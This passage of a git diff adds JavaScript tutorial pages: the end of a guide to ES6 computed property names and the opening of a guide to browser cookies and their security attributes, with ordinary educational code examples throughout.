evaluated, converted to a string (or kept as a Symbol), and used as the property key. This enables creating objects with dynamic keys in a single expression, eliminating the need for the two-step create-then-assign pattern required before ES6. + +```javascript +const field = 'email'; +const value = 'alice@example.com'; + +// The expression [field] is evaluated to get the key name +const formData = { + [field]: value, + [`${field}_verified`]: true +}; + +console.log(formData); +// { email: 'alice@example.com', email_verified: true } +``` + +Think of computed property names as **dynamic labels** for your object's filing cabinet. Instead of pre-printing labels (static keys), you're using a label maker (the expression) to print the label right when you create the file. + +--- + +## The Dynamic Label Analogy + +Imagine you're organizing a filing cabinet. With traditional object literals, you must know all the label names in advance. With computed properties, you can generate labels on the fly. + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ COMPUTED PROPERTY NAMES: DYNAMIC LABELS │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ STATIC KEYS (Traditional) COMPUTED KEYS (ES6) │ +│ ───────────────────────── ────────────────────── │ +│ │ +│ Pre-printed labels: Label maker: │ +│ ┌──────────────────┐ ┌──────────────────┐ │ +│ │ name: "Alice" │ │ [key]: "Alice" │ │ +│ │ age: 30 │ │ [prefix+id]: 30 │ │ +│ └──────────────────┘ └──────────────────┘ │ +│ │ │ +│ You must know "name" key can be any │ +│ and "age" at write time expression evaluated │ +│ at runtime │ +│ │ +│ const obj = { const key = 'name'; │ +│ name: "Alice", const obj = { │ +│ age: 30 ──────────────► [key]: "Alice", │ +│ }; [`user_${key}`]: "Alice" │ +│ }; │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Basic Syntax + +The syntax is straightforward: wrap any expression in square brackets `[]` where you would normally write a property name. + +### Variable as Key + +The most common use case is using a variable's value as the property name: + +```javascript +const propName = 'score'; +const player = { + name: 'Alice', + [propName]: 100 +}; + +console.log(player); // { name: 'Alice', score: 100 } +console.log(player.score); // 100 +``` + +### Template Literal as Key + +Template literals let you build dynamic key names with string interpolation: + +```javascript +const prefix = 'user'; +const id = 42; + +const data = { + [`${prefix}_${id}`]: 'Alice', + [`${prefix}_${id}_role`]: 'admin' +}; + +console.log(data); +// { user_42: 'Alice', user_42_role: 'admin' } +``` + +### Expression as Key + +Any valid JavaScript expression works inside the brackets: + +```javascript +const i = 0; + +const obj = { + ['prop' + (i + 1)]: 'first', + ['prop' + (i + 2)]: 'second', + [1 + 1]: 'number key' +}; + +console.log(obj); +// { '2': 'number key', prop1: 'first', prop2: 'second' } +``` + +### Function Call as Key + +You can even call functions to generate key names: + +```javascript +function getKey(type) { + return `data_${type}_${Date.now()}`; +} + +const cache = { + [getKey('user')]: { name: 'Alice' } +}; + +console.log(Object.keys(cache)[0]); +// Something like: 'data_user_1699123456789' +``` + +--- + +## How the Engine Evaluates Computed Keys + +Understanding the evaluation order is crucial for avoiding subtle bugs. + +### Order of Evaluation: Key Before Value + +When JavaScript encounters a computed property, it evaluates the **key expression first**, then the **value expression**. Properties are processed left-to-right in source order. + +```javascript +let counter = 0; + +const obj = { + [++counter]: counter, // key: 1, value: 1 + [++counter]: counter, // key: 2, value: 2 + [++counter]: counter // key: 3, value: 3 +}; + +console.log(obj); +// { '1': 1, '2': 2, '3': 3 } +``` + +Each property's key expression (`++counter`) is evaluated before its value expression (`counter`), so the key and value end up with the same number. + +### Type Coercion: ToPropertyKey() + +Property keys can only be **strings** or **Symbols**. When you use any other type, JavaScript converts it using an internal operation called `ToPropertyKey()`: + +| Input Type | Conversion | +|------------|------------| +| String | Used as-is | +| Symbol | Used as-is | +| Number | Converted to string: `42` → `"42"` | +| Boolean | `true` → `"true"`, `false` → `"false"` | +| null | `"null"` | +| undefined | `"undefined"` | +| Object | Calls `toString()` → usually `"[object Object]"` | +| Array | Calls `toString()` → `[1,2,3]` becomes `"1,2,3"` | + +```javascript +const obj = { + [42]: 'number', + [true]: 'boolean', + [null]: 'null', + [[1, 2, 3]]: 'array' +}; + +console.log(obj); +// { '42': 'number', 'true': 'boolean', 'null': 'null', '1,2,3': 'array' } + +// Number keys and string keys can collide! +console.log(obj[42]); // 'number' +console.log(obj['42']); // 'number' (same property!) +``` + +<Warning> +**Common gotcha:** Number and string keys that convert to the same string refer to the same property. `obj[1]` and `obj['1']` access the same property. +</Warning> + +--- + +## Before ES6: The Two-Step Pattern + +Before computed property names, creating objects with dynamic keys required multiple steps: + +```javascript +// ES5: Create object, then add dynamic property +function createUser(role, name) { + var obj = {}; + obj[role] = name; + return obj; +} + +var admin = createUser('admin', 'Alice'); +console.log(admin); // { admin: 'Alice' } +``` + +This was especially awkward in situations requiring single expressions: + +```javascript +// ES5: IIFE pattern for single-expression dynamic keys +var role = 'admin'; +var users = (function() { + var obj = {}; + obj[role] = 'Alice'; + return obj; +})(); + +// ES6: Clean single expression +const role2 = 'admin'; +const users2 = { [role2]: 'Alice' }; +``` + +The ES6 syntax shines in: +- **Default function parameters** that need dynamic objects +- **Arrow functions** with implicit returns +- **Const declarations** requiring immediate initialization +- **Array methods** like `map()` and `reduce()` + +```javascript +// ES6 enables elegant patterns +const fields = ['name', 'email', 'age']; +const defaults = fields.reduce( + (acc, field) => ({ ...acc, [field]: '' }), + {} +); + +console.log(defaults); +// { name: '', email: '', age: '' } +``` + +--- + +## Symbol Keys: The Primary Use Case + +Symbols are unique, immutable identifiers that can **only** be used as object keys via computed property syntax. This is one of the most important use cases for computed properties. + +### Why Symbols Need Computed Syntax + +You cannot use a Symbol with the shorthand or colon syntax: + +```javascript +const mySymbol = Symbol('id'); + +// This creates a string key "mySymbol", NOT a Symbol key! +const wrong = { mySymbol: 'value' }; +console.log(Object.keys(wrong)); // ['mySymbol'] + +// This uses the Symbol as the key +const correct = { [mySymbol]: 'value' }; +console.log(Object.keys(correct)); // [] (Symbols don't appear in keys!) +console.log(Object.getOwnPropertySymbols(correct)); // [Symbol(id)] +``` + +### Symbol Keys Are Hidden + +Symbol-keyed properties don't appear in most iteration methods: + +```javascript +const secret = Symbol('secret'); + +const user = { + name: 'Alice', + [secret]: 'classified information' +}; + +// Symbol keys are hidden from these: +console.log(Object.keys(user)); // ['name'] +console.log(JSON.stringify(user)); // '{"name":"Alice"}' + +for (const key in user) { + console.log(key); // Only logs 'name' +} + +// But you can still access them: +console.log(user[secret]); // 'classified information' +console.log(Object.getOwnPropertySymbols(user)); // [Symbol(secret)] +``` + +### Well-Known Symbols: Customizing Object Behavior + +JavaScript has built-in "well-known" Symbols that let you customize how objects behave. These must be used with computed property syntax. + +#### Symbol.iterator: Make Objects Iterable + +```javascript +const range = { + start: 1, + end: 5, + + [Symbol.iterator]() { + let current = this.start; + const end = this.end; + + return { + next() { + if (current <= end) { + return { value: current++, done: false }; + } + return { done: true }; + } + }; + } +}; + +console.log([...range]); // [1, 2, 3, 4, 5] + +for (const num of range) { + console.log(num); // 1, 2, 3, 4, 5 +} +``` + +#### Symbol.toStringTag: Custom Type String + +```javascript +const myCollection = { + items: [], + [Symbol.toStringTag]: 'MyCollection' +}; + +console.log(Object.prototype.toString.call(myCollection)); +// '[object MyCollection]' + +// Compare to a plain object: +console.log(Object.prototype.toString.call({})); +// '[object Object]' +``` + +#### Symbol.toPrimitive: Custom Type Coercion + +```javascript +const temperature = { + celsius: 20, + + [Symbol.toPrimitive](hint) { + switch (hint) { + case 'number': + return this.celsius; + case 'string': + return `${this.celsius}°C`; + default: + return this.celsius; + } + } +}; + +console.log(+temperature); // 20 (number hint) +console.log(`${temperature}`); // '20°C' (string hint) +console.log(temperature + 10); // 30 (default hint) +``` + +### Privacy Patterns with Symbols + +While not truly private, Symbol keys provide a level of encapsulation: + +```javascript +// Module-scoped Symbol - not exported +const _balance = Symbol('balance'); + +class BankAccount { + constructor(initial) { + this[_balance] = initial; + } + + deposit(amount) { + this[_balance] += amount; + } + + getBalance() { + return this[_balance]; + } +} + +const account = new BankAccount(100); +console.log(Object.keys(account)); // [] +console.log(JSON.stringify(account)); // '{}' +console.log(account.getBalance()); // 100 + +// Still accessible if you know about Symbols: +const symbols = Object.getOwnPropertySymbols(account); +console.log(account[symbols[0]]); // 100 +``` + +--- + +## Computed Method Names + +Computed property syntax works with method shorthand for dynamically-named methods: + +### Basic Computed Methods + +```javascript +const action = 'greet'; + +const obj = { + [action]() { + return 'Hello!'; + }, + [`${action}Loudly`]() { + return 'HELLO!'; + } +}; + +console.log(obj.greet()); // 'Hello!' +console.log(obj.greetLoudly()); // 'HELLO!' +``` + +### Computed Generator Methods + +```javascript +const iteratorName = 'values'; + +const collection = { + items: [1, 2, 3], + + *[iteratorName]() { + for (const item of this.items) { + yield item * 2; + } + } +}; + +console.log([...collection.values()]); // [2, 4, 6] +``` + +### Computed Async Methods + +```javascript +const fetchName = 'fetchData'; + +const api = { + async [fetchName](url) { + const response = await fetch(url); + return response.json(); + } +}; + +// api.fetchData('https://api.example.com/data') +``` + +--- + +## Computed Getters and Setters + +You can combine computed property names with [getters and setters](/beyond/concepts/getters-setters): + +```javascript +const prop = 'fullName'; + +const person = { + firstName: 'Alice', + lastName: 'Smith', + + get [prop]() { + return `${this.firstName} ${this.lastName}`; + }, + + set [prop](value) { + const parts = value.split(' '); + this.firstName = parts[0]; + this.lastName = parts[1]; + } +}; + +console.log(person.fullName); // 'Alice Smith' + +person.fullName = 'Bob Jones'; +console.log(person.firstName); // 'Bob' +console.log(person.lastName); // 'Jones' +``` + +### Symbol-Keyed Accessors + +```javascript +const _value = Symbol('value'); + +const validated = { + [_value]: 0, + + get [Symbol.for('value')]() { + return this[_value]; + }, + + set [Symbol.for('value')](v) { + if (typeof v !== 'number') { + throw new TypeError('Value must be a number'); + } + this[_value] = v; + } +}; + +validated[Symbol.for('value')] = 42; +console.log(validated[Symbol.for('value')]); // 42 +``` + +--- + +## Real-World Use Cases + +### Form Field Handling + +React and Vue state updates commonly use computed properties: + +```javascript +// React-style form handler +function handleInputChange(fieldName, value) { + return { + [fieldName]: value, + [`${fieldName}Touched`]: true, + [`${fieldName}Error`]: null + }; +} + +const updates = handleInputChange('email', 'alice@example.com'); +console.log(updates); +// { +// email: 'alice@example.com', +// emailTouched: true, +// emailError: null +// } +``` + +### Redux-Style State Updates + +```javascript +// Reducer pattern with computed properties +function updateField(state, field, value) { + return { + ...state, + [field]: value, + lastModified: Date.now() + }; +} + +const state = { name: 'Alice', email: '' }; +const newState = updateField(state, 'email', 'alice@example.com'); + +console.log(newState); +// { name: 'Alice', email: 'alice@example.com', lastModified: 1699123456789 } +``` + +### Internationalization (i18n) + +```javascript +function createTranslations(locale, translations) { + return { + [`messages_${locale}`]: translations, + [`${locale}_loaded`]: true, + [`${locale}_timestamp`]: Date.now() + }; +} + +const spanish = createTranslations('es', { hello: 'hola' }); +console.log(spanish); +// { +// messages_es: { hello: 'hola' }, +// es_loaded: true, +// es_timestamp: 1699123456789 +// } +``` + +### Dynamic API Response Mapping + +```javascript +function normalizeResponse(entityType, items) { + return items.reduce((acc, item) => ({ + ...acc, + [`${entityType}_${item.id}`]: item + }), {}); +} + +const users = [ + { id: 1, name: 'Alice' }, + { id: 2, name: 'Bob' } +]; + +const normalized = normalizeResponse('user', users); +console.log(normalized); +// { +// user_1: { id: 1, name: 'Alice' }, +// user_2: { id: 2, name: 'Bob' } +// } +``` + +--- + +## Common Mistakes and Edge Cases + +### Duplicate Computed Keys: Last One Wins + +When multiple computed properties evaluate to the same key, the last one overwrites previous values: + +```javascript +const key = 'same'; + +const obj = { + [key]: 'first', + ['sa' + 'me']: 'second', + same: 'third' // Static key, same string +}; + +console.log(obj); // { same: 'third' } +``` + +### Keys That Throw Errors + +If the key expression throws, object creation is aborted entirely: + +```javascript +function badKey() { + throw new Error('Key evaluation failed'); +} + +// This throws before the object is created +try { + const obj = { + valid: 'ok', + [badKey()]: 'never reached' + }; +} catch (e) { + console.log(e.message); // 'Key evaluation failed' +} +``` + +### Object Keys: toString() Collisions + +Objects used as keys call `toString()`, which can cause unexpected collisions: + +```javascript +const objA = { toString: () => 'key' }; +const objB = { toString: () => 'key' }; + +const data = { + [objA]: 'first', + [objB]: 'second' // Overwrites! Both → 'key' +}; + +console.log(data); // { key: 'second' } +``` + +### The `__proto__` Special Case + +The `__proto__` key has special behavior depending on how it's written: + +```javascript +// Non-computed: Sets the prototype! +const obj1 = { __proto__: Array.prototype }; +console.log(obj1 instanceof Array); // true +console.log(Object.hasOwn(obj1, '__proto__')); // false + +// Computed: Creates a normal property +const obj2 = { ['__proto__']: Array.prototype }; +console.log(obj2 instanceof Array); // false +console.log(Object.hasOwn(obj2, '__proto__')); // true + +// Shorthand: Also creates a normal property +const __proto__ = 'just a string'; +const obj3 = { __proto__ }; +console.log(obj3.__proto__); // 'just a string' (own property) +``` + +<Warning> +**Important:** Only the non-computed colon syntax (`__proto__: value`) sets the prototype. Computed `['__proto__']` and shorthand `{ __proto__ }` create regular properties. +</Warning> + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Computed properties use `[expression]` syntax** in object literals to create dynamic key names at runtime. + +2. **The key expression is evaluated before the value expression.** Properties are processed left-to-right in source order. + +3. **Non-string/Symbol keys are coerced via ToPropertyKey().** Numbers become strings, objects call `toString()`. + +4. **Symbols can ONLY be used as keys via computed property syntax.** The syntax `{ mySymbol: value }` creates a string key `"mySymbol"`. + +5. **Well-known Symbols customize object behavior.** Use `[Symbol.iterator]` for iteration, `[Symbol.toStringTag]` for type strings. + +6. **Computed method syntax enables dynamic method names.** Works with regular methods, generators, and async methods. + +7. **Computed getters/setters enable dynamic accessor properties.** Combine `get [expr]()` and `set [expr](v)` for dynamic accessors. + +8. **Pre-ES6 required two steps; ES6 enables single-expression objects.** This is especially useful in `reduce()`, arrow functions, and default parameters. + +9. **Duplicate computed keys are allowed—last one wins.** No error is thrown; the later value simply overwrites. + +10. **The `__proto__` key behaves differently in computed vs non-computed form.** Only non-computed colon syntax sets the prototype. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="What's the difference between { key: value } and { [key]: value }?"> + **Answer:** + + - `{ key: value }` creates a property with the literal name `"key"` (a static string). + - `{ [key]: value }` evaluates the variable `key` and uses its **value** as the property name. + + ```javascript + const key = 'dynamicName'; + + const static = { key: 'value' }; + console.log(static); // { key: 'value' } + + const dynamic = { [key]: 'value' }; + console.log(dynamic); // { dynamicName: 'value' } + ``` + + The square brackets signal "evaluate this expression to get the key name." + </Accordion> + + <Accordion title="In what order are key and value expressions evaluated?"> + **Answer:** + + The **key expression is evaluated first**, then the **value expression**. This happens for each property in left-to-right order. + + ```javascript + let n = 0; + const obj = { + [++n]: n, // key: 1, value: 1 + [++n]: n // key: 2, value: 2 + }; + // { '1': 1, '2': 2 } + ``` + + The `++n` in the key runs before `n` in the value is read, so they match. + </Accordion> + + <Accordion title="What happens when you use an object as a computed key?"> + **Answer:** + + The object is converted to a string via its `toString()` method. By default, this returns `"[object Object]"`, which can cause unintended collisions: + + ```javascript + const a = { id: 1 }; + const b = { id: 2 }; + + const obj = { + [a]: 'first', + [b]: 'second' // Overwrites! Both → "[object Object]" + }; + + console.log(obj); // { '[object Object]': 'second' } + ``` + + Custom `toString()` methods can provide unique keys, but this pattern is error-prone. Use Symbols or string IDs instead. + </Accordion> + + <Accordion title="Why must Symbol keys use computed property syntax?"> + **Answer:** + + The shorthand and colon syntax only accept identifiers or string literals as property names. Writing `{ mySymbol: value }` creates a property named `"mySymbol"` (a string), not a Symbol-keyed property. + + ```javascript + const sym = Symbol('id'); + + const wrong = { sym: 'value' }; + console.log(Object.keys(wrong)); // ['sym'] - string key! + + const right = { [sym]: 'value' }; + console.log(Object.keys(right)); // [] - Symbol key is hidden + console.log(Object.getOwnPropertySymbols(right)); // [Symbol(id)] + ``` + + The `[sym]` syntax tells JavaScript to evaluate the variable and use the Symbol itself as the key. + </Accordion> + + <Accordion title="How do you create a dynamically-named method?"> + **Answer:** + + Use computed property syntax with method shorthand: + + ```javascript + const action = 'processData'; + + const handler = { + [action](data) { + return data.map(x => x * 2); + }, + + // Generator method + *[`${action}Iterator`](data) { + for (const item of data) { + yield item * 2; + } + }, + + // Async method + async [`${action}Async`](url) { + const response = await fetch(url); + return response.json(); + } + }; + + console.log(handler.processData([1, 2, 3])); // [2, 4, 6] + ``` + + This works with regular methods, generators (`*[name]()`), and async methods (`async [name]()`). + </Accordion> + + <Accordion title="What happens with duplicate computed keys?"> + **Answer:** + + Duplicate keys are allowed—the **last one wins** and overwrites previous values. No error is thrown: + + ```javascript + const obj = { + ['x']: 1, + ['x']: 2, + x: 3 + }; + + console.log(obj); // { x: 3 } + ``` + + This applies whether the duplicate comes from computed properties, static properties, or a mix. The same rule applies to the rest of JavaScript—later assignments overwrite earlier ones. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Modern JS Syntax (ES6+)" icon="wand-magic-sparkles" href="/concepts/modern-js-syntax"> + Overview of ES6+ features including destructuring, spread, arrow functions, and enhanced object literals. + </Card> + <Card title="JavaScript Type Nuances" icon="code" href="/beyond/concepts/javascript-type-nuances"> + Deep dive into Symbols, a primary use case for computed property keys in JavaScript. + </Card> + <Card title="Getters & Setters" icon="arrows-rotate" href="/beyond/concepts/getters-setters"> + Combine computed property names with get and set for dynamic accessor properties. + </Card> + <Card title="Property Descriptors" icon="sliders" href="/beyond/concepts/property-descriptors"> + Control writable, enumerable, and configurable flags on your computed properties. + </Card> + <Card title="Object Methods" icon="cube" href="/beyond/concepts/object-methods"> + Iterate and transform objects using Object.keys(), entries(), and fromEntries(). + </Card> + <Card title="Tagged Template Literals" icon="wand-magic-sparkles" href="/beyond/concepts/tagged-template-literals"> + Another ES6+ syntax feature for advanced string processing with template literals. + </Card> +</CardGroup> + +--- + +## References + +<CardGroup cols={2}> + <Card title="Object Initializer — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#computed_property_names"> + Official MDN reference for object literals with a dedicated section on computed property names. + </Card> + <Card title="Property Accessors — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors"> + Understand bracket notation, the foundation for how computed property names work. + </Card> + <Card title="Symbol — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol"> + Comprehensive reference on Symbols, commonly used with computed property syntax. + </Card> + <Card title="Working with Objects — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects"> + Beginner guide covering object fundamentals and property access patterns. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="Objects — javascript.info" icon="newspaper" href="https://javascript.info/object#computed-properties"> + Excellent tutorial with a dedicated "Computed properties" section and interactive examples. + </Card> + <Card title="ES6 In Depth: Symbols" icon="newspaper" href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/"> + Mozilla Hacks article explaining Symbols and their use as computed property keys for iterables. + </Card> + <Card title="Exploring ES6: New OOP Features" icon="newspaper" href="https://exploringjs.com/es6/ch_oop-besides-classes.html"> + Dr. Axel Rauschmayer's deep technical analysis of computed property keys and ES6 object enhancements. + </Card> + <Card title="Computed Property Names" icon="newspaper" href="https://ui.dev/computed-property-names"> + Focused practical article with before/after ES6 comparisons and real-world examples. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="ES6 JavaScript Tutorial" icon="video" href="https://www.youtube.com/@TraversyMedia"> + Traversy Media's comprehensive ES6 coverage including enhanced object literals and computed properties. + </Card> + <Card title="Modern JavaScript Tutorial" icon="video" href="https://www.youtube.com/@NetNinja"> + The Net Ninja's series on modern JavaScript features with clear explanations of ES6 syntax. + </Card> + <Card title="JavaScript ES6 Features" icon="video" href="https://www.youtube.com/@WebDevSimplified"> + Web Dev Simplified tutorials explaining ES6 features including object shorthand and computed properties. + </Card> + <Card title="JavaScript Quick Tips" icon="video" href="https://www.youtube.com/@Fireship"> + Fireship's fast-paced explainers covering JavaScript syntax features and best practices. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/cookies.mdx b/docs/beyond/concepts/cookies.mdx new file mode 100644 index 00000000..82104fc7 --- /dev/null +++ b/docs/beyond/concepts/cookies.mdx @@ -0,0 +1,1033 @@ +--- +title: "Cookies: Server-Accessible Browser Storage in JavaScript" +sidebarTitle: "Cookies" +description: "Learn JavaScript cookies. Understand how to read, write, and delete cookies, cookie attributes like HttpOnly and SameSite, and security best practices." +--- + +Why do websites "remember" you're logged in, even after closing your browser? How does that shopping cart persist across tabs? Why can some data survive for weeks while other data vanishes when you close a tab? + +```javascript +// Set a cookie that remembers the user for 7 days +document.cookie = "username=Alice; max-age=604800; path=/; secure; samesite=strict" + +// Read all cookies (returns a single string) +console.log(document.cookie) // "username=Alice; theme=dark; lang=en" + +// The server also sees these cookies with every request! +// Cookie: username=Alice; theme=dark; lang=en +``` + +The answer is **cookies**. They're the original browser storage mechanism, and unlike localStorage, cookies are automatically sent to the server with every HTTP request. This makes them essential for authentication, sessions, and any data the server needs to know about. + +<Info> +**What you'll learn in this guide:** +- What cookies are and how they differ from other storage +- Reading, writing, and deleting cookies with JavaScript +- Server-side cookies with the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) header +- Cookie attributes: `Expires`, `Max-Age`, `Path`, `Domain` +- Security attributes: `Secure`, `HttpOnly`, `SameSite` +- How to protect against XSS and CSRF attacks +- First-party vs third-party cookies and privacy +- The future of cookies: third-party deprecation and CHIPS +- When to use cookies vs localStorage vs sessionStorage +</Info> + +<Warning> +**Prerequisites:** This guide builds on your understanding of [HTTP and Fetch](/concepts/http-fetch) and [localStorage/sessionStorage](/beyond/concepts/localstorage-sessionstorage). Understanding HTTP requests and responses will help you grasp how cookies travel between browser and server. +</Warning> + +--- + +## What are Cookies in JavaScript? + +**[Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies)** are small pieces of data (up to ~4KB) that websites store in the browser and automatically send to the server with every HTTP request. Unlike localStorage which stays in the browser, cookies bridge the gap between client and server, enabling features like user authentication, session management, and personalization that require the server to "remember" who you are. + +<Note> +Cookies were invented by Lou Montulli at Netscape in 1994 to solve the problem of implementing a shopping cart. HTTP is stateless, meaning each request is independent. Cookies gave the web "memory." +</Note> + +--- + +## The Visitor Badge Analogy + +Think of cookies like a **visitor badge at an office building**: + +1. **First visit**: You arrive and sign in at reception. They give you a badge with your name and access level. +2. **Moving around**: You wear the badge everywhere. Security guards (servers) can see it and know who you are without asking again. +3. **Badge expiration**: Some badges expire at the end of the day (session cookies). Others are valid for a year (persistent cookies). +4. **Restricted areas**: Some badges only work on certain floors (the `path` attribute). +5. **Security features**: Some badges have photos that can't be photocopied (the `HttpOnly` attribute prevents JavaScript access). + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ HOW COOKIES TRAVEL │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ STEP 1: Browser requests a page │ +│ ───────────────────────────────── │ +│ │ +│ Browser ──────────────────────────────────────────────────────► Server │ +│ GET /login HTTP/1.1 │ +│ Host: example.com │ +│ │ +│ STEP 2: Server responds with Set-Cookie │ +│ ─────────────────────────────────────── │ +│ │ +│ Browser ◄────────────────────────────────────────────────────── Server │ +│ HTTP/1.1 200 OK │ +│ Set-Cookie: sessionId=abc123; HttpOnly; Secure │ +│ Set-Cookie: theme=dark; Max-Age=31536000 │ +│ │ +│ STEP 3: Browser stores cookies and sends them with EVERY request │ +│ ──────────────────────────────────────────────────────────────── │ +│ │ +│ Browser ──────────────────────────────────────────────────────► Server │ +│ GET /dashboard HTTP/1.1 │ +│ Host: example.com │ +│ Cookie: sessionId=abc123; theme=dark │ +│ │ +│ The server now knows who you are without you logging in again! │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Setting Cookies with JavaScript + +The [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie) property is how you read and write cookies in JavaScript. But it has a quirky API that surprises most developers. + +### Basic Cookie Syntax + +```javascript +// Set a simple cookie +document.cookie = "username=Alice" + +// Set a cookie with attributes +document.cookie = "username=Alice; max-age=86400; path=/; secure" + +// Important: Each assignment sets ONE cookie, not all cookies! +document.cookie = "theme=dark" // Adds another cookie +document.cookie = "lang=en" // Adds yet another cookie +``` + +### The Quirky Nature of document.cookie + +Here's what surprises most developers: `document.cookie` is NOT a regular property. It's an [accessor property](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) with special getter and setter behavior: + +```javascript +// Setting a cookie doesn't replace all cookies - it adds or updates ONE +document.cookie = "a=1" +document.cookie = "b=2" +document.cookie = "c=3" + +// Reading returns ALL cookies as a single string +console.log(document.cookie) // "a=1; b=2; c=3" + +// You can't get a single cookie directly - you get ALL of them +// There's no document.cookie.a or document.cookie['a'] +``` + +### Encoding Special Characters + +Cookie values can't contain semicolons, commas, or spaces without encoding: + +```javascript +// Bad: This will break! +document.cookie = "message=Hello, World!" // Comma and space cause issues + +// Good: Encode the value +document.cookie = `message=${encodeURIComponent("Hello, World!")}` +// Results in: message=Hello%2C%20World! + +// When reading, decode it back +const value = decodeURIComponent(getCookie("message")) // "Hello, World!" +``` + +--- + +## Reading Cookies + +Reading cookies requires parsing the `document.cookie` string. Here are practical helper functions: + +```javascript +// Get a specific cookie by name +function getCookie(name) { + const cookies = document.cookie.split("; ") + for (const cookie of cookies) { + const [cookieName, cookieValue] = cookie.split("=") + if (cookieName === name) { + return decodeURIComponent(cookieValue) + } + } + return null +} + +// Usage +const username = getCookie("username") // "Alice" or null +``` + +### A More Robust Parser + +```javascript +// Parse all cookies into an object +function parseCookies() { + return document.cookie + .split("; ") + .filter(Boolean) // Remove empty strings + .reduce((cookies, cookie) => { + const [name, ...valueParts] = cookie.split("=") + // Handle values that contain '=' signs + const value = valueParts.join("=") + cookies[name] = decodeURIComponent(value) + return cookies + }, {}) +} + +// Usage +const cookies = parseCookies() +console.log(cookies.username) // "Alice" +console.log(cookies.theme) // "dark" +``` + +### Check If a Cookie Exists + +```javascript +function hasCookie(name) { + return document.cookie + .split("; ") + .some(cookie => cookie.startsWith(`${name}=`)) +} + +// Usage +if (hasCookie("sessionId")) { + console.log("User is logged in") +} +``` + +--- + +## Writing Cookies: A Complete Helper + +Here's a comprehensive cookie-setting function: + +```javascript +function setCookie(name, value, options = {}) { + // Default options + const defaults = { + path: "/", // Available across the entire site + secure: true, // HTTPS only (recommended) + sameSite: "lax" // CSRF protection + } + + const settings = { ...defaults, ...options } + + // Start building the cookie string + let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}` + + // Add expiration + if (settings.maxAge !== undefined) { + cookieString += `; max-age=${settings.maxAge}` + } else if (settings.expires instanceof Date) { + cookieString += `; expires=${settings.expires.toUTCString()}` + } + + // Add path + if (settings.path) { + cookieString += `; path=${settings.path}` + } + + // Add domain (for sharing across subdomains) + if (settings.domain) { + cookieString += `; domain=${settings.domain}` + } + + // Add security flags + if (settings.secure) { + cookieString += "; secure" + } + + if (settings.sameSite) { + cookieString += `; samesite=${settings.sameSite}` + } + + document.cookie = cookieString +} + +// Usage examples +setCookie("username", "Alice", { maxAge: 86400 }) // 1 day +setCookie("preferences", JSON.stringify({ theme: "dark" })) // Store object +setCookie("temp", "value", { maxAge: 0 }) // Delete immediately +``` + +--- + +## Deleting Cookies + +There's no direct "delete" method for cookies. Instead, you set the cookie with an expiration in the past or `max-age=0`: + +```javascript +function deleteCookie(name, options = {}) { + // Must use the same path and domain as when the cookie was set! + setCookie(name, "", { + ...options, + maxAge: 0 // Expire immediately + }) +} + +// Alternative: Set expiration to the past +document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" + +// Usage +deleteCookie("username") +deleteCookie("sessionId", { path: "/app" }) // Must match original path! +``` + +<Warning> +**Critical:** When deleting a cookie, you MUST use the same `path` and `domain` attributes as when it was set. If a cookie was set with `path=/app`, deleting it with `path=/` won't work! +</Warning> + +--- + +## Server-Side Cookies with Set-Cookie + +While JavaScript can set cookies, servers have more control using the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) HTTP header: + +```http +HTTP/1.1 200 OK +Content-Type: text/html +Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600 +Set-Cookie: csrfToken=xyz789; Secure; SameSite=Strict; Max-Age=3600 +``` + +### Node.js/Express Example + +```javascript +const express = require("express") +const app = express() + +app.post("/login", (req, res) => { + // After validating credentials... + const sessionId = generateSecureSessionId() + + // Set a secure session cookie + res.cookie("sessionId", sessionId, { + httpOnly: true, // Can't be accessed by JavaScript! + secure: true, // HTTPS only + sameSite: "strict", // CSRF protection + maxAge: 3600000 // 1 hour in milliseconds + }) + + res.json({ success: true }) +}) + +app.post("/logout", (req, res) => { + // Clear the session cookie + res.clearCookie("sessionId", { + httpOnly: true, + secure: true, + sameSite: "strict" + }) + + res.json({ success: true }) +}) +``` + +### Why Server-Set Cookies? + +Servers can set cookies that JavaScript **cannot read or modify**: + +| Setter | Can Use HttpOnly? | JavaScript Access | Best For | +|--------|------------------|-------------------|----------| +| Server (`Set-Cookie`) | Yes | Blocked with HttpOnly | Session tokens, auth | +| JavaScript (`document.cookie`) | No | Always accessible | UI preferences, non-sensitive data | + +--- + +## Cookie Attributes Explained + +### Expires and Max-Age: Controlling Lifetime + +<Tabs> + <Tab title="max-age (Recommended)"> + ```javascript + // Expires in 1 hour (3600 seconds) + document.cookie = "token=abc; max-age=3600" + + // Expires in 7 days + document.cookie = "remember=true; max-age=604800" + + // Delete immediately (max-age=0 or negative) + document.cookie = "token=; max-age=0" + ``` + + **Why prefer 